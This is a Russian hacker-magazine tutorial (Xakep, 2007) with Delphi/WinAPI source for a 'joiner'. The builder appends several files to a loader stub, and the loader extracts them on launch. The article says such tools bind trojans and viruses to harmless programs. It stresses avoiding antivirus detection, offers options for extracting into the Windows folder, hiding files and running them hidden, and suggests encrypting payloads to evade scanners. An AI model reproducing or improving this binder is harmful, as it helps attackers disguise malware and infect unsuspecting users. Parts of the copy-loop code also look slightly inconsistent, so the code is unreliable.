Простейший Joiner на Delphi и WinAPI
Рубрика: Delphi -> Программирование -> Журнал Хакер -> Статьи
Метки: delphi | win api | программирование
Просмотров: 8208
Joiner – программа, которой пользуется большинство начинающих хакеров. Склеить с игрушкой какой-нибудь полезный файл - что может быть проще и необходимее? Да что говорить, стоит зайти на какой-нибудь форум типа vingrad.ru или antichat.ru и можно встретить кучу топиков, в которых кодеры слезно просят объяснить принцип написания подобных программ. Но, как правило, более продвинутые авторы посылают таких программеров (нет, не туда) изучать скучную теорию. В результате у многих отпадает желание творить. Мы не будем никуда тебя посылать, а расскажем и покажем, как же все-таки создать такое «чудо».
Зачем
Как известно, joiner’ы используют для склейки троянов/вирусов/полезного стаффа (нас с тобой интересует только последнее, ведь мы не какие-нибудь преступники) с какой-либо полезной и безобидной программкой. Из этого следует, что на подготовленный joiner’ом файл не должны кричать благим матом антивирусы, иначе бедный юзер начнет суетиться и уничтожит весь взвод еще при высадке. Кстати говоря, производители антивирусов очень не любят подобные программы и с завидной регулярностью вносят их имена в свои базы данных. А если joiner палится антивирусами, то пользы от него на три копейки.
Все паблик-джойнеры рано или поздно попадают в антивирусные базы. Единственный выход – сделать joiner самому!
Теория самого простого joiner’a
Как работают эти чудо-программки? На самом деле все не просто, а очень просто. Структуру joiner’a можно представить следующим образом:
После запуска созданного программой-конструктором файла, загрузчик прочитает блок с информацией, в котором есть данные обо всех прикрепленных файлах, и затем будет по очереди вытаскивать их из своего тела. Под телом подразумевается часть файла программы-загрузчика. Говоря еще более простым языком, все прикрепляемые файлы мы будем просто дописывать в конец файла программы-загрузчика. Чтобы лучше понять принцип действия, взгляни на структуру создаваемого программой-конструктором файла:
Возможности joiner’a
Рассказать, как скрепить два файла, слишком просто, да и неинтересно. Поэтому я решил показать тебе, как можно написать программу, которая будет склеивать до 11 файлов и устанавливать для них различные опции. Под опциями я подразумеваю изменение поведения файлов при расстыковке с программой-загрузчиком. Например, неплохо иметь возможность задачи пути для распаковки сразу в определенную папку (например, папку с Windows) или установки атрибута «скрытый».
Вездесущий API
Перед тем как приступить к кодингу, нужно рассмотреть функции, которые нам потребуются (программировать мы будем в основном на WinAPI в целях сокращения размера экзешника):
function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOL): BOOL;
Как видно из названия, эта функция предназначена для копирования файлов. Функции нужно передать три параметра: lpExistingFileName – имя файла, который будет копироваться; lpNewFileName – имя для скопированного файла; bFailIfExists – флаг, говорящий о необходимости перезаписи файла в случае его существования.
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: DWORD;
lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD;
hTemplateFile: THandle): THandle; stdcall;
Функция определена для создания/открытия файлов/объектов. После своего выполнения функция вернет указатель на открытый/созданный файл. В качестве параметров ей нужно передать:
Как открывать/создавать файлы, мы знаем. Теперь неплохо было бы разобраться, как можно перемещаться по телу файла. Для этого в наборе Windows API есть функция SetFilePointer.
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint;
lpDistanceToMoveHigh: Pointer; dwMoveMethod: DWORD): DWORD; stdcall;
После выполнения SetFilePointer возвращает младший байт 64-разрядной позиции в файле.
function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD;
var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
Для чтения из файла в Windows предусмотрена функция ReadFile, для записи - WriteFile. У этих функций схожие параметры:
После успешного выполнения функция возвращает true. Поработав с файлами, их нужно закрыть. Для закрытия файлов припасена функция CloseHandle. Единственное, что ей нужно передать, – дескриптор открытого файла.
Кодим joiner
Как я уже говорил, нам придется написать две программы: программу-конструктор и программу-загрузчик. Начнем с программы-конструктора. Запускай Delphi и создавай пустой проект. Форму приведи к виду, представленному на рисунке.
Скажу пару слов о назначении элементов управления на форме. В ListView1 будут добавляться файлы для склейки. Все файлы будут приклеиваться к первому в списке. Для добавления очередного файла предназначена кнопка «Добавить». По ее нажатию будет вызываться OpenDialog. О предназначении кнопки «Склеить», думаю, ты догадаешься сам :). CheckBox’ами можно устанавливать опции для любого выделенного файла. Изменения сохраняются по нажатию кнопки «Установить опции».
Приготовления
Перейди в редактор кода и объяви следующую запись:
FileInfRecord = record
_filesize: array [0..10] of cardinal;
_filename: array [0..10] of string[100];
_autorun:array [0..10] of boolean;
_windir:array [0..10] of boolean;
_hideAttr: array [0..10] of boolean;
_hideRun: array [0..10] of boolean;
_fileCount: cardinal;
End;
Помнишь, я рассказывал тебе о блоке с информацией? Вот это он и есть. В этом блоке мы будем хранить имена (_fileName), размеры (_fileSize), опции всех файлов, которые будут прилеплены (максимум 11). В разделе объявления глобальных переменных объяви переменную _fileHeader типа FileInfRecord. Теперь создавай обработчик события OnClick для кнопки «Склеить» и переписывай в него код из соответствующей врезки.
_distFile, _fromFile:THandle;
_buff: array [0..1024] of Char;
i:Integer;
_temp, _temp2:cardinal;
begin
//Проверяем, а не много ли у нас файлов
if ListView1.Items.Count>length(_fileHeader._filesize) then
begin
ShowMessage('Слишком много файлов');
Exit;
end;
if not SaveDialog1.Execute then
Exit;
//Копируем файл загрузчика
CopyFile(pchar(extractFilePath(application.ExeName)+
'loader.exe'), pchar(SaveDialog1.FileName), true);
Sleep(100);
//Записываем в структуру количество файлов
_fileHeader._fileCount:=ListView1.Items.Count;
//Поочередно обрабатываем все файлы
for i:=0 to ListView1.Items.Count-1 do
begin
_fileHeader._filename[i]:=ListView1.Items.Item[i].Caption;
_fileHeader._filesize[i]:=GetFileSized(ListView1.Items.Item[I].SubItems.Strings[0]+
ListView1.Items.Item[I].Caption);
end;
//Открываем наш загрузчик
_distFile:=CreateFile(pchar(SaveDialog1.FileName), GENERIC_WRITE, 0, nil,
OPEN_EXISTING, 0, 0);
//Перемещаемся в самый конец
SetFilePointer(_distFile, 0, nil, FILE_END);
//Записываем наш заголовок
WriteFile(_distFile, _fileHeader, sizeOf(_fileHeader), _temp, nil);
//По очереди записываем все файлы
for i:=0 to ListView1.Items.Count-1 do
begin
_fromFile:=CreateFile(pchar(ListView1.Items.Item[i].SubItems.Strings[0]+
ListView1.Items.Item[i].Caption), GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0);
repeat
ReadFile(_fromFile, _buff, sizeOf(_buff), _temp, nil);
WriteFile(_distFile, _buff, _temp, _temp2, nil);
ZeroMemory(@_buff, sizeOf(_buff));
until _temp<>1025;
CloseHandle(_fromFile);
end;
//Закрываем файл
CloseHandle(_distFile);
ShowMessage('Склейка успешно завершилась!');
end;
Отбросим рассмотрение вызова диалогов открытия/сохранения в нашем коде и перейдем к самой главной части. Первым делом нам нужно скопировать наш загрузчик в место, которое пользователь выбрал в диалоге сохранения. Именно в этот самый файл мы и будем записывать все подготовленные файлы. После функции копирования файла (CopyFile) я вызываю процедуру Sleep, которая выполняет задержку. Это нужно для того, чтобы наш загрузчик успел скопироваться. Дело в том, что функция CopyFile возвращает результат до того, как файл фактически будет скопирован.
После того как файл загрузчика появится в назначенном месте, приступим к заполнению нашей структуры. Для начала узнаем, сколько всего файлов мы будем записывать. Поскольку файлы, подготовленные для склейки, хранятся в ListView, узнать их количество можно, обратившись к свойству Count. После этого можно приступить к записи информации в структуру. В качестве информации нас будет интересовать имя и размер файла. Обрати внимание на то, как я получаю размер файла:
_fileHeader._filesize[i]:=GetFileSized(ListView1.Items.Item[I].SubItems.Strings[0]+ ListView1.Items.Item[I].Caption);
Я использую самописную функцию GetFileSized, которой в качестве параметра передается лишь имя файла, а она возвращает его размер. Код этой функции я рассматривать не буду, поскольку в нем нет ничего сложного. К тому же ты всегда можешь обратиться к исходнику примера, который ждет тебя на диске.
Структура заполнена, вся информация о файлах получена, значит, можно приступать к склеиванию всех файлов. Для этого я открываю файл программы-загрузчика с помощью знакомой тебе CreateFile. После успешного открытия нужно переместиться в самый конец. В этом мне помогает функция SetFilePointer. Ты знаешь, что, действуя согласно изложенной выше теории, сначала необходимо записать блок с информацией. Именно это и делаем:
WriteFile(_distFile, _fileHeader, sizeOf(_fileHeader), _temp, nil);
Записав нашу структуру с необходимой информацией, можно запускать цикл, в котором по очереди будут открываться и записываться в программу-загрузчик все подготовленные пользователем файлы. Копирование файла в файл загрузчика реализовано в цикле:
repeat
ReadFile(_fromFile, _buff, sizeOf(_buff), _temp, nil);
WriteFile(_distFile, _buff, _temp, _temp2, nil);
ZeroMemory(@_buff, sizeOf(_buff));
until _temp<>1025;
Для ускорения копирования чтение файла-источника происходит блоком. За один раз читается и записывается ровно 1024 байта. После записи очередной порции данных нужно позаботиться об очищении памяти. В модуле Windows.pas для этого предусмотрена процедура ZeroMemory. От нас требуется только передать ей два параметра: указатель на буфер, который подлежит очистке, и его размер.
На этом месте напрашивается вывод, что программа-конструктор готова. Но ведь мы не рассмотрели процесс выставления опций! Думаю, с ним у тебя получится разобраться самостоятельно, ну а если будет трудно - пиши мне. Разберемся вместе!
Программа-загрузчик
Конструктор у нас есть. Но вот беда: без программы-загрузчика он мало чем полезен, поэтому нам придется создать новый пустой проект и написать в нем несколько строчек кода. Для программы-загрузчика форма нам не потребуется, поэтому сразу ее удаляй. Вообще, программа-загрузчик должна иметь минимальный размер, а значит, нужно избавиться от всего лишнего. Удали из Uses все модули, оставь лишь Windows и ShellAPI. Их нам будет вполне достаточно. Опиши структуру FileInfRecord. Она должна выглядеть точно так же, как и в программе-конструкторе. Если ты укажешь разные размеры массивов или еще чего-нибудь, то наш загрузчик будет неправильно работать (точнее, не будет работать вовсе).
Создай константу mySize. В этой константе у нас будет храниться наш собственный размер, то есть размер программы-загрузчика. На данном этапе мы его не знаем, поэтому пока указываем 0. Код программы-загрузчика приведен в соответствующей врезке. Для экономии места я вырезал из него код, который отвечает за обработку опций. Полный вариант ты, как всегда, можешь найти на диске.
Код программы-загрузчика
VAR
_fileDist, _fileSource:THandle;
_fileHeader:FileInfRecord;
i, j:cardinal;
_buff:char;
_temp:cardinal;
BEGIN
_fileSource:=Createfile(pchar(ParamStr(0)), GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(_fileSource, mySize, nil, FILE_BEGIN);
ReadFile(_fileSource, _fileHeader, sizeOf(_fileHeader), _temp, nil);
if _fileHeader._fileCount=0 then Exit;
for i:=0 to _fileHeader._FileCount-1 do
begin
_fileDist:=CreateFile(pchar(string(_fileHeader._filename[i])),
GENERIC_WRITE, FILE_SHARE_WRITE,
nil,
CREATE_NEW, 0, 0);
for j:=1 to _fileHeader._filesize[i] do
begin
ReadFile(_fileSource, _buff, sizeOf(_buff), _temp, nil);
WriteFile(_fileDist, _buff, sizeOf(_buff), _temp, nil);
end;
CloseHandle(_fileDist);
Sleep(100);
end;
CloseHandle(_fileSource);
END.
Сначала нам нужно открыть для чтения файл программы-загрузчика, то есть самого себя. После открытия выполняем смещение до адреса, с которого начинается код нашего блока с информаций. Как его узнать? Очень просто! Поскольку программа-конструктор записала структуру с информаций в самый конец программы-загрузчика, нужно просто перейти в файле на размер файла загрузчика. Этот размер у нас будет определен в объявленной ранее константе. Позиционирование в файле опять же выполняется с помощью SetFilePointer. При переходе на нужную позицию становится возможным считать структуру. А раз так, то после выполнения «ReadFile(_fileSource, _fileHeader, sizeOf(_fileHeader), _temp, nil);
» вся наша структура будет считана. Ну а это значит, что мы обладаем всей необходимой информацией для выдергивания остальных файлов. Код разбивки тела загрузчика на файлы похож на код программы-конструктора, поэтому не будем на нем останавливаться. Окончательно дописав код и прочитав предыдущие строки, скомпилируй проект. После завершения компиляции зайди в меню «Project -> Information» и обрати внимание на строку File Size.
В ней указан конечный размер exe нашего проекта. У меня он равен 16384. Именно это число нужно присвоить нашей константе mySize. После этого еще раз сохраняй все изменения в проекте и выполняй компиляцию. Все, наш joiner полностью готов, а значит, пора переходить к тесту.
Тестирование
Перед тестом скопируй скомпилированный файл загрузчика в папку, в которой у тебя лежит конструктор. Если ты помнишь, то именно в этой папке наш конструктор будет его искать. Теперь попробуй запустить конструктор, добавить несколько файлов и нажать на кнопку «Склеить». Подумав пару секунд (время напрямую зависит от размера выбранных тобой файлов), программа радостно отрапортует тебе о завершении процесса склейки и создаст новый файл.
В проводнике появился файл с именем test. Это и есть результат работы программы. После его запуска в этой же директории оказываются все прикрепленные нами файлы. Таким образом, программа прошла тест-драйв.
Что можно улучшить
В статье я рассмотрел самый простой вариант joiner’а. Но ты не должен на этом останавливаться. Вот некоторые идеи, которые также хорошо было бы реализовать в программе такого типа:
Встроить поддержку шифрования. Согласись, было бы здорово, если все прикрепленные файлы шифровались. Таким образом, антивирусы раньше времени не рычали бы на твой файлик.
Реализовать возможность упаковки прикрепляемых файлов. Чем меньше будет конечный результат, тем лучше.
Вывод
Итак, сегодня твой арсенал пополнился еще одной полезной программой собственного производства, и ты в очередной раз убедился, что нет ничего невозможного. Просто для достижения любой цели требуется время и силы. На этой ноте я хочу попрощаться, удачи тебе в твоих экспериментах! Возникли вопросы или предложения? Пиши!
Чтобы сделать свой joiner круче, чем у конкурентов, надо быть в курсе того, чего они наворотили у себя. Joiner’ов в инете пруд пруди, вот наиболее интересные:
Статья опубликована журнале "Хакер" (http://xakep.ru). Август 2007 г.
Ссылка на опубликованную статью сайта издания: http://goo.gl/OcFIKy
Ссылка на журнал: http://goo.gl/smmfv6